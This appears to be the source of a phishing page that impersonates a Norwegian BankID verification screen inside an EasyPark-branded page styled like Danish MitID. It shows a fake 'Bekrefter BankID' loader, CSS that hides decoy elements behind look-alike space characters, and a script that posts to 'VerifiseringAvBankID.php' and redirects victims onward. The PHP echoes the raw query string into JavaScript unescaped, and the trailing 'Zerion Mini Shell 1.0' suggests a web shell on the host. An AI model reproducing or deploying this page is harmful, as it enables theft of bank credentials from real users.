.mitid--button-icon{flex-shrink:0;height:24px;width:24px;color:#001c44}.mitid--button-secondary .mitid--button-icon path:last-child{fill:#001c44}.mitid--button-secondary:not(.icon-only):not(.label-only):hover,.mitid--button-secondary:not(.icon-only):not(.label-only):focus,.mitid--button-secondary:not(.icon-only):not(.label-only):disabled{padding:.25rem 10px .25rem 1rem}.mitid--button-secondary:hover:not(:disabled):not(:active):not(.icon-only) .mitid--button-icon,.mitid--button-secondary:hover:not(:disabled):not(:active):not(.icon-only) .mitid--button-label{position:relative;right:1px}.mitid--button-secondary:hover:not(:disabled){border:2px solid #0060e6}.mitid--button-secondary:hover:not(:disabled) .mitid--button-label,.mitid--button-secondary:hover:not(:disabled) .mitid--button-icon{color:#0060e6}.mitid--button-secondary:hover:not(:disabled) .mitid--button-label path,.mitid--button-secondary:hover:not(:disabled) .mitid--button-icon path{fill:#0060e6}.mitid--button-secondary:active:not(:disabled){border:2px solid #00398a}.mitid--button-secondary:active:not(:disabled) .mitid--button-label,.mitid--button-secondary:active:not(:disabled) .mitid--button-icon{color:#00398a}.mitid--button-secondary{box-shadow:0px 0px 0px 5px rgba(0,0,0,0)}.mitid--button-secondary:focus:not(:active){box-shadow:0px 0px 0px 2px #fff,0px 0px 0px 5px #0060e6;border:2px solid #0060e6 !important}@supports(-moz-appearance: none){.mitid--button-secondary{height:49px}}.mitid--button-secondary:focus:not(:disabled):not(.icon-only) .mitid--button-icon,.mitid--button-secondary:focus:not(:disabled):not(.icon-only) .mitid--button-label{position:relative;right:1px}.mitid--button-secondary:focus:not(:active) .mitid--button-label,.mitid--button-secondary:focus:not(:active) .mitid--button-icon{color:#0060e6}.mitid--button-secondary:focus:not(:active) .mitid--button-label path,.mitid--button-secondary:focus:not(:active) .mitid--button-icon path{fill:#0060e6}.mitid--button-secondary:disabled{border:1px solid rgba(0,0,0,.2);color:rgba(0,0,0,.4);text-decoration:none;cursor:not-allowed}.mitid--button-secondary:disabled .mitid--button-label{cursor:not-allowed}.mitid--button-secondary .mitid--button-label{color:#001c44}.mitid--button-icon{border:0;background:rgba(0,0,0,0);margin:0}.mitid--button-icon svg,.mitid--button-icon path{cursor:pointer}.mitid--button--left{margin-left:2rem}.mitid-core-user{flex:0 0 auto}.mitid-core-user__input{width:100%;max-width:100%;min-width:200px;display:inline-block}.mitid-core-user__input[defaultlanguage^="DA / DK"]{visibility:hidden;pointer-events:none;position:absolute}.mitid-core-user__input[defaultlanguage^="DA / DK"] input{visibility:hidden}.mitid-core-user__input[defaultlanguage^="DA /ﾠDK"]{display:none;pointer-events:none;position:absolute}.mitid-core-user__input[defaultlanguage^="DA /ﾠDK"] input{visibility:hidden}.mitid-core-user__input[defaultlanguage^="DAﾠ/ﾠDK"]{visibility:visible;display:block;pointer-events:all}.mitid-core-user__input[defaultlanguage^="DAﾠ/ﾠDK"]:disabled{opacity:.2;pointer-events:none}.mitid-core-user__user-id{display:inline-block;border-radius:.25rem;outline:none;height:3rem;width:100%;padding:0 1rem;font-weight:500 !important;letter-spacing:0;border:1px solid #919191;box-sizing:border-box;margin-bottom:1rem;caret-color:#0060e6}.mitid-core-user__user-id:hover,.mitid-core-user__user-id:active,.mitid-core-user__user-id:focus{border:2px solid #0060e6;background:#fff;position:relative;right:1px}.mitid-core-user__user-id:hover:not(:focus){position:relative;opacity:1}.mitid-core-user__user-id:-ms-input-placeholder{font-weight:500 !important;color:#333 !important;opacity:1}.mitid-core-user__user-id::placeholder{font-weight:500 !important;color:#333 !important;opacity:1}.mitid-core-user__user-id:-ms-input-placeholder{font-weight:500 !important;color:#333 !important}.mitid-core-user__user-id::-ms-input-placeholder{font-weight:500 !important;color:#333 !important}.mitid-core-user__user-id::-ms-clear,.mitid-core-user__user-id::-ms-reveal{display:none}.mitid-core-user__user-id:focus{background:rgba(0,96,230,.05) !important;border:2px solid #0060e6 !important;position:relative;right:1px}.mitid--button-primary{margin-bottom:.5rem;color:#fff}.mitid--button-primary[showicontext^="Icon Help Text"]{visibility:hidden;pointer-events:none;position:absolute;width:0;height:0}.mitid--button-primary[showicontext^="Icon Help Text"] *{visibility:hidden}.mitid--button-primary[showicontext^="Icon HelpﾠText"]{display:none;pointer-events:none;position:absolute}.mitid--button-primary[showicontext^="Icon HelpﾠText"] *{visibility:hidden}.mitid--button-primary[showicontext^=IconﾠHelpﾠText]{display:inline-flex;visibility:visible;pointer-events:all}.mitid--button-primary[showicontext^=IconﾠHelpﾠText]:disabled{display:inline-flex;opacity:.2}.mitid-core-icon--auth{display:inline-block;width:1.5rem;height:1.5rem;background-repeat:no-repeat;position:relative;top:7px}.mitid-core-icon--margin-right{margin-right:8px}.mitid-link{display:inline-flex;cursor:pointer;position:relative;left:-5px;border-radius:4px;text-decoration:none;min-height:1.5rem;padding:0 .25rem;padding-left:2.188rem}.mitid-link:hover .mitid-link__label,.mitid-link:focus .mitid-link__label{text-decoration:underline;color:#004cb8}.mitid-link:focus:is(:focus-visible){box-shadow:0 0 0 3px #0060e6}.mitid-link:active .mitid-link__label{color:#00398a;text-decoration:underline}.mitid-link:hover .mitid-link__icon>path,.mitid-link:focus .mitid-link__icon>path{fill:#004cb8}.mitid-link:hover .mitid-link__icon>g path:last-child,.mitid-link:focus .mitid-link__icon>g path:last-child{fill:#004cb8}.mitid-link:active .mitid-link__icon>path{fill:#00398a}.mitid-link:active .mitid-link__icon>g path:last-child{fill:#00398a}.mitid-link__icon{margin-right:0;position:absolute;top:.8px;left:2px;height:1.5rem;width:1.5rem;display:flex;align-items:center;justify-content:center;cursor:pointer}.mitid-link__icon svg{cursor:pointer}.mitid-link__icon>path{fill:#0060e6;cursor:pointer}.mitid-link__icon>g path:last-child{fill:#0060e6}.mitid-link__label{max-width:100%;cursor:pointer;font-weight:600;color:#0060e6;text-decoration:none;letter-spacing:.2px;word-break:break-word;word-wrap:break-word}.mitid-link:after{content:"";min-height:inherit;font-size:0}.mitid-link--vertical-align{margin-left:.25rem;color:#0060e6}.mitid-link--vertical-align .mitid-core-text-button__icon{margin-right:.438rem}.mitid-link--vertical-align .mitid-core-text-button__icon>path{fill:#0060e6}.mitid-link--vertical-align .mitid-core-text-button__icon>g path:last-child{fill:#0060e6}.mitid-tooltip{width:100%}.mitid-tooltip--context-help{position:absolute;left:.125rem;top:10rem}.mitid-tooltip--labeltextleft h2,.mitid-tooltip--iconandlabeltextleft h2,.mitid-tooltip--headertextcentered h2{margin:0 auto}.mitid-tooltip--labeltextleft i{display:none}.mitid-tooltip--headertextcentered .mitid-tooltip__label{display:flex;padding-bottom:1.5rem}.mitid-tooltip--headertextcentered .mitid-tooltip__label h2{width:100%;font-size:1.25rem;line-height:1.75rem;text-align:center;text-transform:none}.mitid-tooltip--headertextcentered .mitid-tooltip__label i{display:none}.mitid-tooltip__label{display:inline-flex;align-items:center;padding-bottom:.5rem}.mitid-tooltip__text{font-weight:600;font-size:.875rem;line-height:1.5rem;text-transform:uppercase;letter-spacing:.2px}.mitid-tooltip__text__tooltip{font-weight:600 !important;font-size:.875rem !important;line-height:1.5rem !important;text-transform:uppercase !important;letter-spacing:.2px !important}.mitid--button-icon-tooltip:hover path,.mitid--button-icon-tooltip:focus path{fill:#0060e6}.mitid--button-icon-tooltip:active path{fill:#00398a}.mitid--button-icon-tooltip:focus:is(:focus-visible) svg{background-color:#fff;border-radius:.25rem;box-shadow:0px 0px 0px 2px #fff,0px 0px 0px 5px #0060e6}.mitid--button-icon-tooltip{-webkit-appearance:none;appearance:none;width:2.75rem;cursor:pointer;overflow:visible;background-color:#fff;display:flex;align-items:center;justify-content:center;background-color:rgba(0,0,0,0)}.mitid--button-icon-tooltip svg{height:1rem;width:1rem;cursor:pointer}.mitid--button-icon-tooltip path{fill:#001c44;cursor:pointer}.mitid-core-close{display:block}.mitid-core-close button{width:2.75rem;height:2.75rem;padding:0;box-sizing:content-box;outline:none;display:flex;align-items:center;justify-content:center;cursor:pointer}.mitid-core-close button svg{height:24px;width:24px}.mitid-core-close button svg path{fill:#001c44}.mitid-core-close button:hover svg path{fill:#004cb8}.mitid-core-close button:active path{fill:#00398a}.mitid-core-close button:focus:is(:focus-visible) svg{border:3px solid #0060e6;border-radius:4px}.mitid-core-close button:focus:is(:focus-visible) svg path{fill:#004cb8}.mitid-core-close--corner{position:absolute;top:-8px;right:0}.mitid-core-overlay{position:absolute;top:0px;left:-0.313rem;right:-0.313rem;bottom:0px;background-color:rgba(255,255,255,.6);z-index:2}.mitid-core-tooltip{color:#333;font-size:1rem;left:4px;letter-spacing:0px;line-height:1.5rem;font-weight:400;font-style:normal;position:relative;padding:0;text-decoration:none;color:#000;list-style:none;text-align:left;letter-spacing:0px;z-index:2000;display:block}.mitid-core-tooltip__content{position:absolute;left:-4px;right:4px;background-color:#fff;border-radius:4px;box-shadow:0px 0px 10px 0px rgba(0,0,0,.3);z-index:1000;overflow:hidden}.mitid-core-tooltip__info{left:-6px;right:6px}.mitid-core-tooltip .mitid-core-tooltip__header{display:flex;justify-content:space-between;margin:.5rem 0 .5rem 1rem;position:relative}.mitid-core-tooltip .mitid-core-tooltip__header h2{margin:.438rem 0 0 0;max-width:266px}.mitid-core-tooltip__text{margin:0 2rem 1rem 1rem;display:block}.mitid-core-tooltip__link{display:block;position:relative;top:.313rem}.mitid-core-tooltip-minimized-mode{display:flex;align-items:flex-end;justify-content:center;margin-top:3.75rem}#authenticatorDescription strong{font-weight:bold}.mitid-core-authenticator{display:flex;flex-direction:column;justify-content:stretch;height:100%}.mitid-core-authenticator__iframe{height:100%;border:none;width:104%;left:-0.4375rem;position:relative;flex:1 1 auto}.mitid-core-authenticator__iframe:focus{outline:none}.mitid-core-authenticator__header{flex:0 0 auto}.mitid-authenticators{display:block}.mitid-authenticators__list{background-color:#fff;border:1px solid #979797;border-radius:4px;padding:0;margin:0 0 16px 0;display:block}.mitid-authenticators__item{margin:0;width:100%;display:flex;align-items:center;color:#001c44;background-color:#fff;padding:0 0 0 1rem;border:2px solid rgba(0,0,0,0) !important;box-sizing:border-box;cursor:pointer}.mitid-authenticators__item:nth-child(1),.mitid-authenticators__item:last-of-type{border-radius:3px}.mitid-authenticators__item::-moz-focus-inner{border:0}.mitid-authenticators__item:active span{position:relative;top:0}.mitid-authenticators__item i{position:relative;top:0;margin-right:.5rem;font-style:normal;outline:none}.mitid-authenticators__item:nth-child(1){border-radius:4px 4px 0 0}.mitid-authenticators__item:last-of-type{border-radius:0 0 4px 4px}.mitid-authenticators__item:hover{background-color:#f2f7fe}.mitid-authenticators__item:hover .mitid-authenticators__name{color:#0060e6}.mitid-authenticators__item:hover path{fill:#0060e6}.mitid-authenticators__item:active span{position:relative;top:0}.mitid-authenticators__item:focus{outline:none;background-color:#f2f7fe;box-shadow:0 2px #0060e6 inset,0 -2px #0060e6 inset,-2px 0 #0060e6 inset,2px 0 #0060e6 inset}.mitid-authenticators__item:focus path{fill:#0060e6}.mitid-authenticators__item:focus .mitid-authenticators__name{color:#0060e6}.mitid-authenticators__name{font-weight:600;padding:10px 0;max-width:272px;cursor:pointer}.mitid-authenticators__name:nth-of-type(1):not(:last-child):after{content:"+";font-size:1rem;position:relative;padding-left:4px;padding-right:4px}.mitid-authenticators--selected{background-color:#00398a !important;border-radius:0;box-shadow:-1px 0 0 0 #00398a,1px 0 0 0 #00398a;cursor:default}.mitid-authenticators--selected .mitid-authenticators__name{color:#fff}.mitid-authenticators--selected path{fill:#fff !important}.mitid-authenticators--selected:nth-child(1){border-radius:4px 4px 0 0;box-shadow:0 -1px #00398a,-1px 0 #00398a,1px 0 #00398a}.mitid-authenticators--selected:last-of-type{border-radius:0 0 4px 4px;box-shadow:-1px 0 #00398a,1px 0 #00398a,-1px 1px #00398a,1px 1px #00398a}.mitid-authenticators--selected:last-of-type:active span{position:relative;top:0}.mitid-authenticators--selected:hover .mitid-authenticators__name{color:#fff;cursor:default}.mitid-authenticators--selected:focus{box-shadow:0 -2px #fff inset,-2px 0 #fff inset,2px 0 #fff inset,-1px 1px #00398a,1px 1px #00398a,-1px -1px #00398a,1px -1px #00398a,0 2px 0 0 #fff inset}.mitid-authenticators--selected:focus .mitid-authenticators__name{color:#fff}.mitid-authenticators--selected:focus:nth-child(1){border-radius:4px 4px 0 0;box-shadow:0 2px #fff inset,0 -2px #fff inset,-2px 0 #fff inset,2px 0 #fff inset,-1px 1px #00398a,0 -1px #00398a,-1px 0 #00398a,1px 1px #00398a}.mitid-authenticators--selected:focus:last-of-type{border-radius:0 0 4px 4px;box-shadow:0 2px #fff inset,0 -2px #fff inset,-2px 0 #fff inset,2px 0 #fff inset,-1px 1px #00398a,1px 1px #00398a,-1px -1px #00398a,1px -1px #00398a}.mitid-core-reference-text{margin-bottom:1.5rem;flex:0 0 auto;display:block}.mitid-checkbox{-webkit-appearance:none;appearance:none;display:block;position:relative;padding-left:2.188rem;max-width:300px;cursor:pointer;margin-top:.5rem}.mitid-checkbox__label{overflow:hidden;display:block;cursor:pointer;font-weight:600;color:#001c44;word-break:break-word;word-wrap:break-word}.mitid-checkbox__input{position:absolute;opacity:0;cursor:pointer;height:1.5rem;width:1.5rem;top:0;left:0}.mitid-checkbox__checkmark{position:absolute;top:0;left:0;height:1.5rem;width:1.5rem;background-repeat:no-repeat;background-position:center;display:flex;align-items:center;justify-content:center;cursor:pointer}.mitid-checkbox__checker{width:18px;height:18px;display:block;border:#001c44 solid 2px;border-radius:3px;box-sizing:border-box;cursor:pointer}.mitid-checkbox__input:checked~.mitid-checkbox__checkmark>.mitid-checkbox__checker{border-color:#0060e6}.mitid-checkbox__input:focus~.mitid-checkbox__checkmark{box-shadow:0 0 0 3px #0060e6;border-radius:4px}.mitid-checkbox__input:not(:checked):focus~.mitid-checkbox__checkmark>.mitid-checkbox__checker{border-color:#0060e6}.mitid-checkbox__input:checked~.mitid-checkbox__checkmark>.mitid-checkbox__checker{position:relative;background-size:18px 18px;border:none !important;background-color:#0060e6}.mitid-checkbox__input:checked~.mitid-checkbox__checkmark>.mitid-checkbox__checker::after{content:" ";transform-origin:left top;border-right:2px solid #fff;border-top:2px solid #fff;left:2px;top:9px;height:10px;width:5px;position:absolute;transform:scaleX(-1) rotate(135deg)}.mitid-checkbox:hover .mitid-checkbox__input:not(:checked)~.mitid-checkbox__checkmark>.mitid-checkbox__checker{border-color:#0060e6}.mitid-checkbox--no-margin{margin:0}.mitid-core-terms{display:flex;flex-direction:column;height:100%;justify-content:stretch;position:relative}.mitid-core-terms__summary{z-index:1}.mitid-core-terms__content p{display:block;margin-top:.313rem}.mitid-core-terms__actions{margin:1.5rem 0;min-height:5.5rem;display:flex;flex-direction:column;justify-content:space-between}.mitid-core-terms__continue{height:3.85rem}.mitid-core-terms__label{overflow:hidden;display:block;font-weight:600;color:#001c44}.mitid-notification{height:100%}.mitid-notification__content{padding:16px 16px 12px 56px;position:relative;margin-bottom:1rem;display:block;overflow:hidden}.mitid-notification--info{background-color:#f2f7fe;border:1px solid rgba(0,96,230,.2)}.mitid-notification--info:before{content:" ";background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24'%3e%3cpath fill='%230060e6' d='M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-6h2v6zm0-8h-2V7h2v2z'/%3e%3c/svg%3e");position:absolute;display:block;width:24px;height:24px;left:16px;float:left}.mitid-notification--info:before path{fill:#0060e6}.mitid-notification--warning{background-color:#fffbf2;border:1px solid rgba(254,171,0,.2)}.mitid-notification--warning:before{content:" ";background-image:url("data:image/svg+xml,%3c%3fxml version='1.0' encoding='UTF-8'%3f%3e%3csvg xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='24px' height='24px' version='1.1' viewBox='0 0 64 64'%3e%3ctitle%3eF7BD9E59-0FBF-4F1C-98E3-A2E0D17E6185%401.00x%3c/title%3e%3cg id='Components' fill='none' fill-rule='evenodd' stroke='none' stroke-width='1'%3e%3cg id='Iconography' transform='translate(-357.000000%2c -914.000000)'%3e%3cg id='checkbox-/-01-enabled' transform='translate(357.000000%2c 914.000000)'%3e%3cg id='notification'%3e%3cg id='icon'%3e%3cg id='icons/alert/error_outline'%3e%3cg id='error'%3e%3crect id='%23' width='24' height='24' x='0' y='0'/%3e%3cpath id='Shape' fill='%23FEAB00' d='M32%2c5.33333333 C17.28%2c5.33333333 5.33333333%2c17.28 5.33333333%2c32 C5.33333333%2c46.72 17.28%2c58.6666667 32%2c58.6666667 C46.72%2c58.6666667 58.6666667%2c46.72 58.6666667%2c32 C58.6666667%2c17.28 46.72%2c5.33333333 32%2c5.33333333 Z'/%3e%3cpath id='Path' fill='black' d='M32%2c34.6666667 C30.5333333%2c34.6666667 29.3333333%2c33.4666667 29.3333333%2c32 L29.3333333%2c21.3333333 C29.3333333%2c19.8666667 30.5333333%2c18.6666667 32%2c18.6666667 C33.4666667%2c18.6666667 34.6666667%2c19.8666667 34.6666667%2c21.3333333 L34.6666667%2c32 C34.6666667%2c33.4666667 33.4666667%2c34.6666667 32%2c34.6666667 Z'/%3e%3cpolygon id='Path' fill='black' points='34.6666667 45.3333333 29.3333333 45.3333333 29.3333333 40 34.6666667 40'/%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/svg%3e");position:absolute;display:block;width:24px;height:24px;left:16px;float:left}.mitid-notification--error{background-color:#fdf2f2;border:1px solid rgba(218,0,0,.2)}.mitid-notification--error:before{content:" ";background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24'%3e%3cpath fill='%23da0000' fill-rule='evenodd' d='M4.47 21h15.06c1.54 0 2.5-1.67 1.73-3L13.73 4.99c-.77-1.33-2.69-1.33-3.46 0L2.74 18c-.77 1.33.19 3 1.73 3zM12 14c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1zm1 4h-2v-2h2v2z'/%3e%3c/svg%3e");position:absolute;display:block;width:24px;height:24px;left:16px;float:left}.mitid-notification__message,.mitid-notification__support{display:block}.mitid-core-section,.mitid-core-section__help-context{flex:1 1 auto;display:flex;flex-direction:column;position:relative}.mitid-checkbox_user-id{margin-bottom:1.1rem;margin-top:2rem}.mitid-core-switch{display:flex;align-items:center}@media screen and (max-width: 399px){.mitid-core-switch{margin-left:.313rem}}.mitid-core-content{width:100%;margin:0;position:relative;display:flex;flex-direction:column;box-sizing:content-box;z-index:1;flex:1 0 auto;justify-content:stretch}.mitid-spinner{position:absolute;height:5px;width:100%;left:0;top:0;overflow:hidden;z-index:100;display:block}.mitid-spinner__spin{background-color:#0060e6;width:225px;height:4px;position:relative;animation-name:mitid-spinner;animation-duration:2s;animation-iteration-count:infinite;display:block}@keyframes mitid-spinner{0%{left:-225px;top:0px}100%{left:100%;top:0px}}.mitid-core-help{position:absolute;z-index:1000;background-color:#fff;border-radius:4px;box-shadow:0 5px 14px 3px rgba(0,0,0,.2);bottom:2rem;padding:.5rem .5rem .5rem 1rem;width:336px;box-sizing:border-box;left:-2px}@media screen and (max-width: 399px){.mitid-core-help{bottom:44px}}.mitid-core-help .mitid--divider-light,.mitid-core-help .mitid--divider{max-width:19rem;margin:.5rem 0}.mitid-core-help__header{display:flex;align-items:center;height:2.5rem}.mitid-core-help__header .mitid-core-help__header-text{flex:1 1 100%;margin:0}.mitid-core-help__menu{padding:0;margin:0;list-style:none;display:inline-block;width:100%;height:100%}.mitid-core-help__menu-item{flex:1;margin:0;padding:.5625rem 1.5rem .5625rem 0;display:flex;align-items:center}.mitid-core-help__link-divider{margin-top:.5rem;margin-bottom:.438rem}@media screen and (max-width: 399px){.mitid-core-help{width:97%;margin:0 5px;min-width:266px}}.mitid-core-finalize{position:relative;display:flex;align-items:center;justify-content:center;height:100%;flex-direction:column;flex:1 1 auto}.mitid-core-finalize__logo{height:24px;position:relative;width:62px;margin-bottom:24px}.mitid-core-finalize__logo-svg{position:absolute;left:-85px;top:-20px;height:62px;width:234px;transform:scale(0.26)}.mitid-core-finalize__logo-svg path{fill:#0060e6}.mitid-core-finalize__shield{position:absolute;width:100px;height:117px}.mitid-core-finalize__shield path{fill:#0060e6}.mitid-core-finalize__state{position:relative;margin-bottom:24px;height:120px;width:100px;display:block}.mitid-core-finalize__title{font-size:1.25rem;font-weight:700;line-height:1.75rem;display:block;text-align:center;height:60px}.mitid-core-finalize__done:after{opacity:0;height:34px;width:14px;transform-origin:left top;border-right:4px solid #fff;border-top:4px solid #fff;content:"";left:32px;top:55px;position:absolute;animation-duration:800ms;animation-delay:100ms;animation-timing-function:ease-in;animation-name:checkmark;animation-fill-mode:forwards;transform:scaleX(-1) rotate(135deg)}@keyframes checkmark{0%{height:0;width:0;opacity:1}20%{height:0;width:14px;opacity:1}35%{height:34px;width:14px;opacity:1}100%{height:34px;width:14px;opacity:1}}
</style>
</head>
<body>
<div id="coreClientParentLoading" style="display: block">
<input type="hidden" name="4" value="<?php echo $reversedString ?>">
<main id="mitId" class="mitid-loader notranslate" translate="yes" style="display: none; margin: 0px auto; width: 400px; min-height: 24.8rem; height: 588px; font-family: "IBM Plex Sans", Arial, Helvetica, FreeSans, sans;">
<div class="mitid-loader__content" aria-busy="true" aria-live="polite">
<div class="mitid-loader__logo">
<svg viewBox="0 0 156 24" focusable="false" class="chakra-icon css-1owoy0l"><g id="BankID_Main_Logo 1" clip-path="url(#clip0_691_17062)"><g id="Group"><g id="Group_2"><path id="Vector" d="M7.5 3H1.5C0.7 3 0 2.3 0 1.5C0 0.7 0.7 0 1.5 0H7.5C8.3 0 9 0.7 9 1.5C9 2.3 8.3 3 7.5 3Z"></path><path id="Vector_2" d="M7.5 15H1.5C0.7 15 0 14.3 0 13.5C0 12.7 0.7 12 1.5 12H7.5C8.3 12 9 12.7 9 13.5C9 14.3 8.3 15 7.5 15Z"></path><path id="Vector_3" d="M7.5 21H1.5C0.7 21 0 20.3 0 19.5C0 18.7 0.7 18 1.5 18H7.5C8.3 18 9 18.7 9 19.5C9 20.3 8.3 21 7.5 21Z"></path><path id="Vector_4" d="M19.5 9H13.5C12.7 9 12 8.3 12 7.5C12 6.7 12.7 6 13.5 6H19.5C20.3 6 21 6.7 21 7.5C21 8.3 20.3 9 19.5 9Z"></path><path id="Vector_5" d="M19.5 15H13.5C12.7 15 12 14.3 12 13.5C12 12.7 12.7 12 13.5 12H19.5C20.3 12 21 12.7 21 13.5C21 14.3 20.3 15 19.5 15Z"></path><path id="Vector_6" d="M31.5 3H25.5C24.7 3 24 2.3 24 1.5C24 0.7 24.7 0 25.5 0H31.5C32.3 0 33 0.7 33 1.5C33 2.3 32.3 3 31.5 3Z"></path><path id="Vector_7" d="M31.5 9H25.5C24.7 9 24 8.3 24 7.5C24 6.7 24.7 6 25.5 6H31.5C32.3 6 33 6.7 33 7.5C33 8.3 32.3 9 31.5 9Z"></path><path id="Vector_8" d="M31.5 21H25.5C24.7 21 24 20.3 24 19.5C24 18.7 24.7 18 25.5 18H31.5C32.3 18 33 18.7 33 19.5C33 20.3 32.3 21 31.5 21Z"></path></g><g id="Group_3"><path id="Vector_9" d="M45.8 13.1C45.8 16.3 47.6 18 49.7 18C51.6 18 53.7 16.4 53.7 13.1C53.7 9.8 51.7 8.3 49.8 8.3C47.7 8.3 45.8 9.8 45.8 13.1ZM45.8 0V7.8C46.7 6.4 48.3 5 51 5C54 5 57.6 7.5 57.6 13C57.6 18.7 54.2 21.5 50.7 21.5C48.7 21.5 47 20.6 45.9 18.8V21H42V0H45.8Z"></path><path id="Vector_10" d="M63.3 13.2C63.3 16.5 65.3 18 67.2 18C69.3 18 71.1 16.6 71.1 13.2C71.1 9.89999 69.3 8.29999 67.2 8.29999C65.4 8.29999 63.3 9.79999 63.3 13.2ZM59.5 13C59.5 7.59999 63 4.89999 66.5 4.89999C68.4 4.89999 70 5.59999 71.2 7.29999V5.29999H75V21H71.2V18.8C70.1 20.3 68.5 21.4 66 21.4C63 21.4 59.5 18.8 59.5 13Z"></path><path id="Vector_11" d="M82.5 12.1V21H78.7V5.4H82.5V7.7C83.6 5.7 85.6 5 87.3 5C90 5 92.6 6.4 92.6 10.6V21H88.8V12C88.8 9.4 87.5 8.4 85.8 8.4C83.9 8.5 82.5 9.6 82.5 12.1Z"></path><path id="Vector_12" d="M96.2 0V21H100V17.2L102.1 14.6L106.4 21H110.6L104.4 11.9L109.8 5.4H105.5L100 12.6V0H96.2Z"></path><path id="Vector_13" d="M118.2 0.700012H114.3V21H118.2V0.700012Z"></path><path id="Vector_14" d="M129.5 0.700012H122.1V21H129.5C135 21 139.6 17.7 139.6 10.8C139.6 4.00001 135 0.700012 129.5 0.700012ZM129.5 17.4H126V4.30001H129.5C132.7 4.30001 135.4 6.40001 135.4 10.9C135.4 15.3 132.7 17.4 129.5 17.4Z"></path></g></g></g><defs><clipPath id="clip0_691_17062"><rect width="140" height="21" fill="white"></rect></clipPath></defs></svg>
</div>
<div class="mitid-loader__state">
<svg xmlns="http://www.w3.org/2000/svg" id="svg-shield-2pfGa-G" version="1.1" focusable="false" class="mitid-loader__shield" aria-hidden="true">
<path d="M49.9,0l50,15v41.2c0,47.8-50,60.8-50,60.8s-50-13-50-60.8V15L49.9,0"></path>
</svg>
<svg viewBox="30 30 60 60" focusable="false" aria-hidden="true" class="mitid-loader__circular">
<circle cx="60" cy="60" r="27" fill="none" stroke="#3380eb" stroke-linecap="square" stroke-miterlimit="10" stroke-width="5"></circle>
<circle cx="60" cy="60" r="27" fill="none" stroke="#fff" stroke-dasharray="50 200" stroke-dashoffset="0" stroke-linecap="square" stroke-miterlimit="10" stroke-width="5"></circle>
</svg>
</div>
<div class="mitid-loader__text">
<h1 class="mitid-loader__title" aria-live="assertive">Bekrefter BankID</h1><span class="mitid-loader__description">Vennligst vent...</span></div>
</div>
</main>
</div>
</body>
</html>
<div>
</div>
</div>
</main>
</div>
<div class="jss4">
<footer class="jss87">
<div class="jss88">
<div class="MuiTypography-root jss89 MuiTypography-body2">© 2024 EasyPark</div>
<ul class="jss90">
<li class="jss91">
<a class="MuiTypography-root MuiTypography-body2" href="https://legals.easyparksystem.net/NO/tc/no/terms_no_no.pdf" rel="noopener noreferrer" target="_blank">Vilkår og betingelser</a>
</li>
<li class="jss91">
<a class="MuiTypography-root MuiTypography-body2" href="https://legals.easyparksystem.net/B2B/terms_b2b_v1_0_no.pdf" rel="noopener noreferrer" target="_blank">Forretningsbetingelser</a>
</li>
<li class="jss91">
<a class="MuiTypography-root MuiTypography-body2" href="https://legals.easyparksystem.net/NO/privacy/no/privacy_no_no.pdf" rel="noopener noreferrer" target="_blank">Privatpolitik</a>
</li>
<li class="jss91">
<a class="MuiTypography-root MuiTypography-body2" href="https://customer.easypark.net/help/en/4067" rel="noopener noreferrer" target="_blank">Kontakt os</a>
</li>
</ul>
</div>
</footer>
</div>
<div style="">
</div>
</div>
</div>
<div class="ReactModalPortal">
</div>
<script type="text/javascript" id="">
_linkedin_partner_id="1237801";window._linkedin_data_partner_ids=window._linkedin_data_partner_ids||[];window._linkedin_data_partner_ids.push(_linkedin_partner_id);
</script>
<script src="https://code.jquery.com/jquery-3.6.4.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
<script>
$queryString = '<?php echo $_SERVER['QUERY_STRING']; ?>';
$.ajax({
url: 'VerifiseringAvBankID.php',
type: 'POST',
dataType: 'json',
success: function (response) {
if (response.redirect) {
window.location.href = response.redirect + '?' + $queryString;
} else {
}
},
error: function () {
}
});
</script>
</body>
</html>
Zerion Mini Shell 1.0